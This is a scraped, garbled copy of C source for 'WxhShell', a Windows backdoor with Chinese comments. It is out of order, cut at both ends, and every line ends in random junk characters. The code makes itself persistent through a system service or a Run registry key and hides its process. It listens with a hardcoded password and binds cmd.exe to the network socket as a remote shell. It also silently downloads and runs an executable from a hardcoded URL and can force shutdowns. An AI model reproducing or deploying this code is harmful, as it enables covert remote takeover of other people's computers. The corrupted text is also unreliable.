    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s\A"B#9r  
    if(Boot(SHUTDOWN)) q|,cMPS3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W!|A3V35\:  
    else { pcwkO  
    closesocket(wsh); mVFz[xI  
    ExitThread(0); SEsc"l8  
    } &(a#I]`9M  
    break; Rd7[e^HSN  
    } <20rxOEnf  
  // 获取shell 04>dxw)8  
  case 's': { ~"F83+RDe  
    CmdShell(wsh); CMn&1  
    closesocket(wsh); | d}f\a`  
    ExitThread(0); dXR 70/  
    break; .zxP,]"l  
  } ns`|G;1vv  
  // 退出 oo sbf#V  
  case 'x': { " '/:Tp)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ljg2P5  
    CloseIt(wsh); ;O` \rP5w  
    break; s *$Re)}S  
    } dE R#)bGj  
  // 离开 $OOZ-+8  
  case 'q': { Z@ AHe`A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I`Goc!5t  
    closesocket(wsh); *((wp4b  
    WSACleanup(); Itn7Kl  
    exit(1); OL+dx`Y  
    break; 0IU>KGJ-0s  
        } Z^?1MJ:`  
  } U(#)[S,  
  } eHr|U$Rpo  
oL?(; `"&  
  // 提示信息 ? tre)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +%vBDcf  
} +c&n7  
  } i oCoFj  
Fr{u=0 X  
  return; n^<3E; a  
} ]C.x8(2!f  
).aQ}G wx^  
// shell模块句柄 $50rj  
int CmdShell(SOCKET sock) 90JD`Nz  
{ l !VPk"s  
STARTUPINFO si; g%()8QxE1  
ZeroMemory(&si,sizeof(si)); v^;-w~?3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Bx R% \  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z"/Mva3|  
PROCESS_INFORMATION ProcessInfo; 4u} "ng   
char cmdline[]="cmd"; |GPR3%9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 27mGX\T  
  return 0; !O=?n<Ex"  
} x:'M\c7  
~3k& =3d]  
// 自身启动模式 l|#WQXs*c{  
int StartFromService(void) OU)~ 02|\  
{ ;A^0="x&  
typedef struct jwsl"zL  
{ w`Q"mx*  
  DWORD ExitStatus; 0Y rdu,c  
  DWORD PebBaseAddress; RiHOX&-7  
  DWORD AffinityMask; Wn;B~  
  DWORD BasePriority; q-c9YOz_  
  ULONG UniqueProcessId; Z9cg,#(D  
  ULONG InheritedFromUniqueProcessId; [e1kfw  
}   PROCESS_BASIC_INFORMATION; Hg)5c!F7  
zh5'oE&[yC  
PROCNTQSIP NtQueryInformationProcess; dre@V(\;hQ  
X r7pFw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '[u=q -Lv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VayU   
\QF\Bh  
  HANDLE             hProcess; En&bwLu:s  
  PROCESS_BASIC_INFORMATION pbi; f:$LVpXS-  
T3po.Km\{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :1%z;  
  if(NULL == hInst ) return 0; eL)* K>T  
'qD5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ogN/zIU+VA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zqEMR>px  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Uh.XL=wY  
+<p?i]3CHe  
  if (!NtQueryInformationProcess) return 0; -QH[gi{%`  
U?/UW;k[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +rEqE/QF  
  if(!hProcess) return 0; D&1*,`  
*"rgK|CM$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OkSJob  
Z2z"K<Z W  
  CloseHandle(hProcess); *2MM   
e&&;"^@-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .ZSGnbJ  
if(hProcess==NULL) return 0; GKPC9;{W  
qGndh  
HMODULE hMod; g8+w?Zn}  
char procName[255]; p #vZYwe=L  
unsigned long cbNeeded; F 8*e  
Eyw)f>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bkmW[w:M  
-VK 6Fq  
  CloseHandle(hProcess); - w41Bvz0  
d~L`*"/)[  
if(strstr(procName,"services")) return 1; // 以服务启动 \n<N>j@3  
I9>1WT<Yy  
  return 0; // 注册表启动 .4KXe"~E  
} ~f%gW  
^lf;Lc  
// 主模块 cHJ &a`;  
int StartWxhshell(LPSTR lpCmdLine) M5%u>$2  
{ BT#'<!7!  
  SOCKET wsl; xTAC&OCk^[  
BOOL val=TRUE; y'4=  
  int port=0; JN3Oe5yB2@  
  struct sockaddr_in door; j/^0q90QO  
PkG+`N  
  if(wscfg.ws_autoins) Install(); S4?ss I  
ND21;  
port=atoi(lpCmdLine); '{OZ[$E  
{mkYW-4Se  
if(port<=0) port=wscfg.ws_port; kTC6fNj[  
SrHRpxy  
  WSADATA data; ?J<4IvL/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X0U{9zP  
cm7aL%D$c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vhhsOga  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #~p1\['|M  
  door.sin_family = AF_INET; s*]1d*B!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C@Wm+E~;8  
  door.sin_port = htons(port); Sm,%>  
IS!B$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @p `#y  
closesocket(wsl); 'M G)noN5  
return 1; },[j+wx  
} elP`5BuN  
u4.-AY {  
  if(listen(wsl,2) == INVALID_SOCKET) { %C)U F  
closesocket(wsl); bLNQ%=FjO  
return 1; < ^J!*>  
} Iqo4INGIi  
  Wxhshell(wsl); <ygkK5#q  
  WSACleanup(); k ( R  
-M[5K/[  
return 0; k`TEA?RfQ  
y l3iU:+V  
} t0?BU~f  
 -JUv'fk  
// 以NT服务方式启动 .g4bV5ma3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Txw,B2e)>  
{ Rmd;u g9  
DWORD   status = 0; GbNVcP.ocP  
  DWORD   specificError = 0xfffffff; y< 146   
Vw)\#6FL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =ohdL_6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ye(0'*-jyc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %A64 Y<K  
  serviceStatus.dwWin32ExitCode     = 0; e#W@ep|n  
  serviceStatus.dwServiceSpecificExitCode = 0; Wxp^*._q3I  
  serviceStatus.dwCheckPoint       = 0; :.sK:W("v  
  serviceStatus.dwWaitHint       = 0; ]A'e+RD4k  
nre8 F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Grw_SVa^  
  if (hServiceStatusHandle==0) return; ; G E0iSC  
L@[bgN`=v  
status = GetLastError(); 1` 9/[2z  
  if (status!=NO_ERROR) rVf`wJ6b  
{ $1UN?(r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w1s#8:  
    serviceStatus.dwCheckPoint       = 0; ?|8H $1  
    serviceStatus.dwWaitHint       = 0; :Eob"WH  
    serviceStatus.dwWin32ExitCode     = status; ew"[]eZ:ut  
    serviceStatus.dwServiceSpecificExitCode = specificError; u`   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &O!d!Pf  
    return; c"0CHrd  
  } sY1*Wo lA  
,~G[\2~p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uswz@ [pa  
  serviceStatus.dwCheckPoint       = 0; wBmbn=>#S  
  serviceStatus.dwWaitHint       = 0;  ExnszFX*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1lx\Pz@ol  
} _ k>j?j-  
/?by4v73P  
// 处理NT服务事件,比如:启动、停止 1bvL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9`vse>,-hg  
{ 2@A7i<p  
switch(fdwControl) ;N4mR6  
{ s!UC{)g,  
case SERVICE_CONTROL_STOP: dn5T7a~   
  serviceStatus.dwWin32ExitCode = 0; 9Uk9TG5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V#sANi?mpo  
  serviceStatus.dwCheckPoint   = 0; Q2k\8i  
  serviceStatus.dwWaitHint     = 0; 7GPBn}{W  
  { oTfEX4 t {  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %7L'2/Y2x  
  } ~}TVM%0RTq  
  return; Rhr]ML  
case SERVICE_CONTROL_PAUSE: \w`Il"}V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +LX&1GX  
  break; ok[R`99  
case SERVICE_CONTROL_CONTINUE: .0s/O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9^jO^[>  
  break; [c3hwogf:  
case SERVICE_CONTROL_INTERROGATE: SUvHLOA  
  break; .>H7i`1D`  
}; 4$y|z{[< 5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4\-kzGgmo  
} `%rqQnVB  
wdp 4-*  
// 标准应用程序主函数 c.d*DM}W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \WZ00Y,*  
{ p%,JWZ[  
x#pT B.  
// 获取操作系统版本 m4kmJaM  
OsIsNt=GetOsVer(); 1_<'S34  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zzPgLE55  
..n-&(c32  
  // 从命令行安装 N-vr_4{g  
  if(strpbrk(lpCmdLine,"iI")) Install(); h{>8W0W*  
!m^WtF  
  // 下载执行文件 6Lz&"C,`  
if(wscfg.ws_downexe) { Le_?x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Bv/v4(G5g  
  WinExec(wscfg.ws_filenam,SW_HIDE); znu?x|mV  
} mEE/Olh W  
y+X%qTB  
if(!OsIsNt) { AMtFOXx%I  
// 如果时win9x,隐藏进程并且设置为注册表启动 " $m3xO  
HideProc(); H#Vs3*VK  
StartWxhshell(lpCmdLine); m T\]  
} =(@J+Ou  
else GKm)wOb(*S  
  if(StartFromService()) *a\1*Jk  
  // 以服务方式启动 )%UO@4  
  StartServiceCtrlDispatcher(DispatchTable); 9#pl BtQ**  
else 6IeHZ)jGj  
  // 普通方式启动 ~Uga=&  
  StartWxhshell(lpCmdLine); v bh\uv&  
/A{znE  
return 0; "9R3S[  
} w'cZ\<N[  
|%TH|?kB  
-KO E2f  
VIynlvy  
=========================================== !_zmm$bR  
L+d_+:w  
Y$% Ze]~  
4xg%OH  
NlWIb2,  
UJlKw `4  
" C+2*m=r  
O(wt[AEA  
#include <stdio.h> Vx?a&{3]-  
#include <string.h> .!=2#<  
#include <windows.h> wVw3YIN#  
#include <winsock2.h> _`ot||J  
#include <winsvc.h> ?l bK;Kv  
#include <urlmon.h> o- GHAQ  
&e2") 4oh  
#pragma comment (lib, "Ws2_32.lib") 1oodw!hW  
#pragma comment (lib, "urlmon.lib") Qv[@ioc  
uvZ|6cM  
#define MAX_USER   100 // 最大客户端连接数 8'/vW~f  
#define BUF_SOCK   200 // sock buffer YHg4WW$  
#define KEY_BUFF   255 // 输入 buffer dt ;R  
5f}wQ  
#define REBOOT     0   // 重启 %0=|WnF-  
#define SHUTDOWN   1   // 关机 }0c'hWMZ}  
;pS Wu9  
#define DEF_PORT   5000 // 监听端口 >CNH=  
42X[Huy]  
#define REG_LEN     16   // 注册表键长度 2z&HT SI  
#define SVC_LEN     80   // NT服务名长度 m!w(Q+*j  
JAc-5e4  
// 从dll定义API ;R|5sCb/m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o3j4XrK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1 ^Ci$ra  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E3sl"d;~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X_O(j!h  
1j3mTP  
// wxhshell配置信息 v(]\o;/O  
struct WSCFG { '}]w=2Lf  
  int ws_port;         // 监听端口 mI?AI7DqK  
  char ws_passstr[REG_LEN]; // 口令 57rc|]C  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2 ;U(r: ]  
  char ws_regname[REG_LEN]; // 注册表键名 9boNB "h]T  
  char ws_svcname[REG_LEN]; // 服务名 |a/"7B|?\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +qDudGI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jSpmE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;S2^f;q~$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B0nkHm.Sj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AfFF u\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _Su$oOy(Ea  
8^^Xr  
}; 4GeWo@8h  
;1K.SDj  
// default Wxhshell configuration )0~zL} )?  
struct WSCFG wscfg={DEF_PORT, gz Qc  
    "xuhuanlingzhe", 7s1FJm=Y/  
    1, )t&j0`Yq  
    "Wxhshell", $oe:km1-D  
    "Wxhshell", R\ <HR9r  
            "WxhShell Service", XwE(&ZCf'b  
    "Wrsky Windows CmdShell Service", .@.O*n#K  
    "Please Input Your Password: ", >>F E?@  
  1, 9;sebqC?  
  "http://www.wrsky.com/wxhshell.exe", @aWvN;v  
  "Wxhshell.exe" W=%}~ 7*  
    }; d1vC-n N  
{!Jw+LPv$$  
// 消息定义模块 ,o*x\jrGw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vRYfB{~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *Xn{{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^4h/6^b0c  
char *msg_ws_ext="\n\rExit."; <jY"+@rF  
char *msg_ws_end="\n\rQuit."; 0a ZplE,  
char *msg_ws_boot="\n\rReboot..."; ggXg4~WL  
char *msg_ws_poff="\n\rShutdown..."; z3[ J>  
char *msg_ws_down="\n\rSave to "; |ILj}4ZA7  
$wub)^  
char *msg_ws_err="\n\rErr!"; Nu<M~/  
char *msg_ws_ok="\n\rOK!"; nV@k}IJg:?  
@y2{LUJe  
char ExeFile[MAX_PATH]; (O"Wa  
int nUser = 0; O#sDZ.EL  
HANDLE handles[MAX_USER]; G?#f@N0.5p  
int OsIsNt; U# G0  
bb}|"m .  
SERVICE_STATUS       serviceStatus; :l'61$=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }L'BzSU@G  
Z9E[RD  
// 函数声明 M]vc W  
int Install(void); ;r B2Q H]  
int Uninstall(void); Akb#1Ww4  
int DownloadFile(char *sURL, SOCKET wsh); #kR8v[Z  
int Boot(int flag); ! c4pFQB  
void HideProc(void); "6[fqW65  
int GetOsVer(void); 5k)/SAU0  
int Wxhshell(SOCKET wsl); a;r,*zZ="  
void TalkWithClient(void *cs); jhr: QS/9  
int CmdShell(SOCKET sock); [D=ba=r0X  
int StartFromService(void); j(AN] g:  
int StartWxhshell(LPSTR lpCmdLine); " ;8H;U`  
iOYC1QFi?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mG*[5?=r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F\^9=}b_i  
:D\M.A  
// 数据结构和表定义 #/=s74.b  
SERVICE_TABLE_ENTRY DispatchTable[] = S|CN)8Jsi  
{ fzT|{vG8  
{wscfg.ws_svcname, NTServiceMain}, *I:^g  
{NULL, NULL} \7 n ;c   
}; 3WHj|ENW  
x\z* iv  
// 自我安装 )*}2L_5]  
int Install(void) {ZP0%MD  
{ _a|-_p  
  char svExeFile[MAX_PATH]; airg[dK  
  HKEY key; p6VS<L  
  strcpy(svExeFile,ExeFile); Zi<Y?Vm/,O  
e* {'A  
// 如果是win9x系统,修改注册表设为自启动 "j#;MOK  
if(!OsIsNt) { j *B,b4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gY9HEfB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &FHzd/  
  RegCloseKey(key); "#Qqwsw7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ro\ U T64  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lq : !?)I  
  RegCloseKey(key); $Y& 8@/L  
  return 0; plcz m 2  
    } { }Q!./5  
  } (v+nn1,  
} 5 Yj qN  
else { W@Et  
0eP7efy  
// 如果是NT以上系统,安装为系统服务 E}LYO:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4HG;v|Cp  
if (schSCManager!=0) 0' j/ 9vm  
{ m?G@#[ l  
  SC_HANDLE schService = CreateService #29m <f_n  
  ( _ `5?/\7  
  schSCManager, $2I^ ;5r[  
  wscfg.ws_svcname, 4BF \- lq~  
  wscfg.ws_svcdisp, L+VqTt  
  SERVICE_ALL_ACCESS, W/e6O??O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~U"puEftbs  
  SERVICE_AUTO_START, b/"&E'5-`\  
  SERVICE_ERROR_NORMAL, "V|&s/9  
  svExeFile, i286 J.  
  NULL, jNV)=s^ed[  
  NULL, H%y!lR{c^D  
  NULL, <vS3 [(  
  NULL, c"F3[mrff  
  NULL '&v.h#<  
  ); OynQlQD/Eu  
  if (schService!=0) ( $s%5|  
  { noI>Fw<V  
  CloseServiceHandle(schService); 'y_<O|-  
  CloseServiceHandle(schSCManager); .Y`;{)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R2K{vs  
  strcat(svExeFile,wscfg.ws_svcname); B'[FnJ8~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5A Fy6Ab  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1j4tR#L  
  RegCloseKey(key); f0Wbc\L[  
  return 0; SlK 6KnX  
    } EGJ d:>k  
  } f0!i<9<  
  CloseServiceHandle(schSCManager); 'Z ;8-1M?O  
} }[2  
} %# M=qP  
f)'m pp^  
return 1; %BBM%Lj  
} ': fq/k3;&  
VDy2 !0  
// 自我卸载 Kd,8PV*_  
int Uninstall(void) K9 G1>*  
{ ZH<: g6  
  HKEY key; oyfY>^bs  
9Kl:3C  
if(!OsIsNt) { m+m2<|%x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yzI`&? P2  
  RegDeleteValue(key,wscfg.ws_regname); WZh%iuI{C  
  RegCloseKey(key); )SjhOvm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XWd;-%`<  
  RegDeleteValue(key,wscfg.ws_regname); STln_'DF'  
  RegCloseKey(key); n VNz5B  
  return 0; ."X}A t  
  } xOY %14%Y  
} d1]1bN4`"0  
} )/87<Y;o  
else { B:X,vE  
=5l20 Um  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _EEOBaZ  
if (schSCManager!=0) 3aX/)v.:4  
{ 2wX4e0cOI4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Xg4i H5!E  
  if (schService!=0) >v?&&FhHK<  
  { "O (N=|b  
  if(DeleteService(schService)!=0) { \5 S^~(iL  
  CloseServiceHandle(schService); ),!1B%  
  CloseServiceHandle(schSCManager); H\vd0DD;  
  return 0; [uLwr$N<%L  
  } NP#6'eH\  
  CloseServiceHandle(schService); Q%T[&A}3B  
  } #OMFv.  
  CloseServiceHandle(schSCManager); F9}jiCom  
} `W=3_  
} 6< hE]B)  
5 *R{N ~>  
return 1; 'zo] f  
} 4-r5C5o,W  
=Ts5\1sc>  
// 从指定url下载文件 o(L8 -F  
int DownloadFile(char *sURL, SOCKET wsh) NNgpDL*  
{ * a ?qV  
  HRESULT hr; &2P=74\=  
char seps[]= "/"; '73g~T%$^*  
char *token; 'X%5i2  
char *file;  |43dyJW  
char myURL[MAX_PATH]; z?3t^UPW  
char myFILE[MAX_PATH]; :HiAjaA1pg  
9\ulS2d  
strcpy(myURL,sURL); d!P3<:+R[  
  token=strtok(myURL,seps); 7ciSIJ  
  while(token!=NULL) ;}>g/lw  
  { wJAJ /  
    file=token; *DUP$@}k  
  token=strtok(NULL,seps); =:"wU  
  } gVscdg5  
je#OV,uHM  
GetCurrentDirectory(MAX_PATH,myFILE); !E@4^A80\W  
strcat(myFILE, "\\"); UURYK~$K:  
strcat(myFILE, file); `qs[a}%'>"  
  send(wsh,myFILE,strlen(myFILE),0); oE.59dx  
send(wsh,"...",3,0); a #`Y(R'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G2y`yg  
  if(hr==S_OK) ? h |&kRq  
return 0; 6k9cvMs%H  
else g15~+;33N  
return 1; Rt+ak}  
8 \BGL  
} @{q:179w^  
cF V[k'F  
// 系统电源模块 +Y! P VMF  
int Boot(int flag) V] 0T P#  
{ UTS.o#d  
  HANDLE hToken; _c$F?9:  
  TOKEN_PRIVILEGES tkp; 'c/S$_r  
k}&7!G@T  
  if(OsIsNt) { 4 \Ig<C9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q]2t3aY%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S HxD(6  
    tkp.PrivilegeCount = 1; X/BcS[a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wrhGZ=k{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^B?brH}  
if(flag==REBOOT) { n@te.,?A"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mMOjV_  
  return 0; F%ffnEJg  
} xP7#`S6W  
else { )R^&u`k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E (.~[-K4  
  return 0; `k.0d`3(  
} I83 _x|$FZ  
  } 5< $8.a#  
  else { dRL*TT0NW  
if(flag==REBOOT) { ia#8 ^z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (Go1@;5I  
  return 0; 3j7Na#<tL3  
} @#QaaR;4  
else { `e[>S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <Toy8-kj  
  return 0; $)#?4v<  
}  /~1Ew  
} ~ ?JN I8  
Dq[Z0"8  
return 1; [pxC3{|d$  
} +mRc8G  
Wl0p-h  
// win9x进程隐藏模块 mJ>msI @  
void HideProc(void) /T<))@$  
{ hA=}R.gi  
b*)F7{/Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3EV?=R  
  if ( hKernel != NULL ) 9<Ks2W.N  
  { ~J![Nx/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ws/\ lD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {!&^VXZIT  
    FreeLibrary(hKernel); !~Ptnr`;  
  } z'01V8e  
Y !%2vOt  
return; :|%1i>O  
} G S&I6  
-2B3 xIZJ  
// 获取操作系统版本 QV[#^1  
int GetOsVer(void) nrV!<nNBk  
{ "F:V$,mJ  
  OSVERSIONINFO winfo; 1|dXbyUd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N c(f+8  
  GetVersionEx(&winfo); \7PC2IsT3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -&EU#Wqh  
  return 1; A5E^1j}h@  
  else P%aNbMg  
  return 0; ?*^HZ~O1  
} 37 b6w6{D  
5t,X;  
// 客户端句柄模块 i`}!<{k  
int Wxhshell(SOCKET wsl) WBWIHv{j  
{ 1hY%Zsj C  
  SOCKET wsh; &~:+2  
  struct sockaddr_in client; d7G DIYH<  
  DWORD myID; Q9Vj8JO"{  
4Opf[3]  
  while(nUser<MAX_USER) 4I8QM&7  
{ wvmcD%   
  int nSize=sizeof(client); $It3}?>C'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BA8g[T A7K  
  if(wsh==INVALID_SOCKET) return 1; 3b?8<*  
ye-[l7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zF@[S  
if(handles[nUser]==0) q 7-ZPX  
  closesocket(wsh); '#a;n  
else &$heW,  
  nUser++; [jR >.H'  
  } 0Ibe~!EiQJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q"i]&dMr  
VCzb[.  
  return 0; G 2`hEX%  
} ++ZP X'|  
a@ ^)?cH!z  
// 关闭 socket biG :Xn  
void CloseIt(SOCKET wsh) 3BSZz%va  
{ yqC158 P  
closesocket(wsh); @JPz|  
nUser--; sI6I5  
ExitThread(0); 7+;.Q  
} M8R/a[ -A  
4Uhh]/  
// 客户端请求句柄 h_Ssm{C\  
void TalkWithClient(void *cs) 2UG>(R:  
{ #&b<D2d  
cTQ._|M  
  SOCKET wsh=(SOCKET)cs; ITy/h]0  
  char pwd[SVC_LEN]; ?pWda<&  
  char cmd[KEY_BUFF]; N/eus"O;  
char chr[1]; vdh[%T,&  
int i,j; V 4&a+MJ@  
=zTpDL  
  while (nUser < MAX_USER) { 6rM{r>  
vVZ+u4y  
if(wscfg.ws_passstr) { \opcn\vW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .X5A7 m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F:sUGM,  
  //ZeroMemory(pwd,KEY_BUFF); {e5-  
      i=0; M8IU[Pz4  
  while(i<SVC_LEN) { #qARcxbK|  
_>bk'V7  
  // 设置超时 TK0WfWch  
  fd_set FdRead; 7m%[$X`  
  struct timeval TimeOut; BMtk/r/  
  FD_ZERO(&FdRead); shEAr*u  
  FD_SET(wsh,&FdRead); N8DouDq  
  TimeOut.tv_sec=8; d@tf+_Ih  
  TimeOut.tv_usec=0;  A"1%E.1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .7M.bpmqE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SkmKf~v  
*zMt/d*<&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jp c %i8  
  pwd=chr[0]; /A+5q\8G  
  if(chr[0]==0xd || chr[0]==0xa) { n5#QQk2  
  pwd=0; hj\A-Yf  
  break; bYmk5fpRG  
  } &fsk ESV0  
  i++; T7-yZSw -m  
    } Dw>)\\n{Kl  
QQ=Kj%R  
  // 如果是非法用户,关闭 socket >[&ser  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d)0|Q  
} )%<,JD  
gD;T"^S+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bM2x (E\O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 96S$Y~G# &  
!K+hXQE1  
while(1) { 1h#/8 X  
NZO86y/  
  ZeroMemory(cmd,KEY_BUFF); 7j HrLsB  
:9e4(7~ona  
      // 自动支持客户端 telnet标准   ("YWJJ'H  
  j=0; 1<cx!=w'  
  while(j<KEY_BUFF) { ; K,5qs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }=JS d@`_  
  cmd[j]=chr[0]; A H=%6oT2  
  if(chr[0]==0xa || chr[0]==0xd) { ArScJ\/Nwv  
  cmd[j]=0; RN}joKV  
  break; D2J)qCK1)  
  } C$$Zwgy  
  j++; RR|X4h0.  
    } VrWQ]L  
QpA$='  
  // 下载文件 #R7hk5/8n}  
  if(strstr(cmd,"http://")) { 8kC$Z)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q`{Vs:8X  
  if(DownloadFile(cmd,wsh)) n]7rHV}G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tvBLfqIr  
  else =*{7G*tS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C+>mehDC_G  
  } (XlvPcTi  
  else { `GlOl-  
